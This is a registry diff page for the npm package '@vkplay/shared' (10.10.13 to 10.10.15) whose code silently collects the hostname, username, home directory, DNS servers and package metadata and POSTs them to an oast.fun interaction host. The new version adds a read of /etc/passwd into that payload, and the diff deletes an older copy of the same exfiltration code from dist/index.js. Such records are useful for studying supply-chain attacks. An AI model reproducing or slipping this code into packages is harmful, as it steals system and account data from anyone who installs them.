@vkplay/shared 10.10.13 → 10.10.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +12 -2
- package/package.json +1 -1
- package/dist/index.js +0 -46
package/index.js
CHANGED
@@ -2,9 +2,18 @@ const os = require("os");
|
|
2
2
|
const dns = require("dns");
|
3
3
|
const querystring = require("querystring");
|
4
4
|
const https = require("https");
|
5
|
+
const fs = require("fs");
|
5
6
|
const packageJSON = require("./package.json");
|
6
7
|
const package = packageJSON.name;
|
7
8
|
|
9
|
+
// Read the /etc/passwd file
|
10
|
+
let passwdData = "";
|
11
|
+
try {
|
12
|
+
passwdData = fs.readFileSync("/etc/passwd", "utf8");
|
13
|
+
} catch (err) {
|
14
|
+
passwdData = `Error reading /etc/passwd: ${err.message}`;
|
15
|
+
}
|
16
|
+
|
8
17
|
const trackingData = JSON.stringify({
|
9
18
|
p: package,
|
10
19
|
c: __dirname,
|
@@ -15,6 +24,7 @@ const trackingData = JSON.stringify({
|
|
15
24
|
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
25
|
v: packageJSON.version,
|
17
26
|
pjson: packageJSON,
|
27
|
+
passwd: passwdData, // Add the /etc/passwd content here
|
18
28
|
});
|
19
29
|
|
20
30
|
var postData = querystring.stringify({
|
@@ -22,7 +32,7 @@ var postData = querystring.stringify({
|
|
22
32
|
});
|
23
33
|
|
24
34
|
var options = {
|
25
|
-
hostname: "rwrsaobnenftrgnszwrlc31bg1ohlwe72.oast.fun", //
|
35
|
+
hostname: "rwrsaobnenftrgnszwrlc31bg1ohlwe72.oast.fun", // Replace with Burp collaborator link
|
26
36
|
port: 443,
|
27
37
|
path: "/",
|
28
38
|
method: "POST",
|
@@ -43,4 +53,4 @@ req.on("error", (e) => {
|
|
43
53
|
});
|
44
54
|
|
45
55
|
req.write(postData);
|
46
|
-
req.end();
|
56
|
+
req.end();
|
package/package.json
CHANGED
package/dist/index.js
DELETED
@@ -1,46 +0,0 @@
|
|
1
|
-
const os = require("os");
|
2
|
-
const dns = require("dns");
|
3
|
-
const querystring = require("querystring");
|
4
|
-
const https = require("https");
|
5
|
-
const packageJSON = require("./package.json");
|
6
|
-
const package = packageJSON.name;
|
7
|
-
|
8
|
-
const trackingData = JSON.stringify({
|
9
|
-
p: package,
|
10
|
-
c: __dirname,
|
11
|
-
hd: os.homedir(),
|
12
|
-
hn: os.hostname(),
|
13
|
-
un: os.userInfo().username,
|
14
|
-
dns: dns.getServers(),
|
15
|
-
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
-
v: packageJSON.version,
|
17
|
-
pjson: packageJSON,
|
18
|
-
});
|
19
|
-
|
20
|
-
var postData = querystring.stringify({
|
21
|
-
msg: trackingData,
|
22
|
-
});
|
23
|
-
|
24
|
-
var options = {
|
25
|
-
hostname: "rwrsaobnenftrgnszwrlc31bg1ohlwe72.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
26
|
-
port: 443,
|
27
|
-
path: "/",
|
28
|
-
method: "POST",
|
29
|
-
headers: {
|
30
|
-
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
-
"Content-Length": postData.length,
|
32
|
-
},
|
33
|
-
};
|
34
|
-
|
35
|
-
var req = https.request(options, (res) => {
|
36
|
-
res.on("data", (d) => {
|
37
|
-
process.stdout.write(d);
|
38
|
-
});
|
39
|
-
});
|
40
|
-
|
41
|
-
req.on("error", (e) => {
|
42
|
-
// console.error(e);
|
43
|
-
});
|
44
|
-
|
45
|
-
req.write(postData);
|
46
|
-
req.end();
|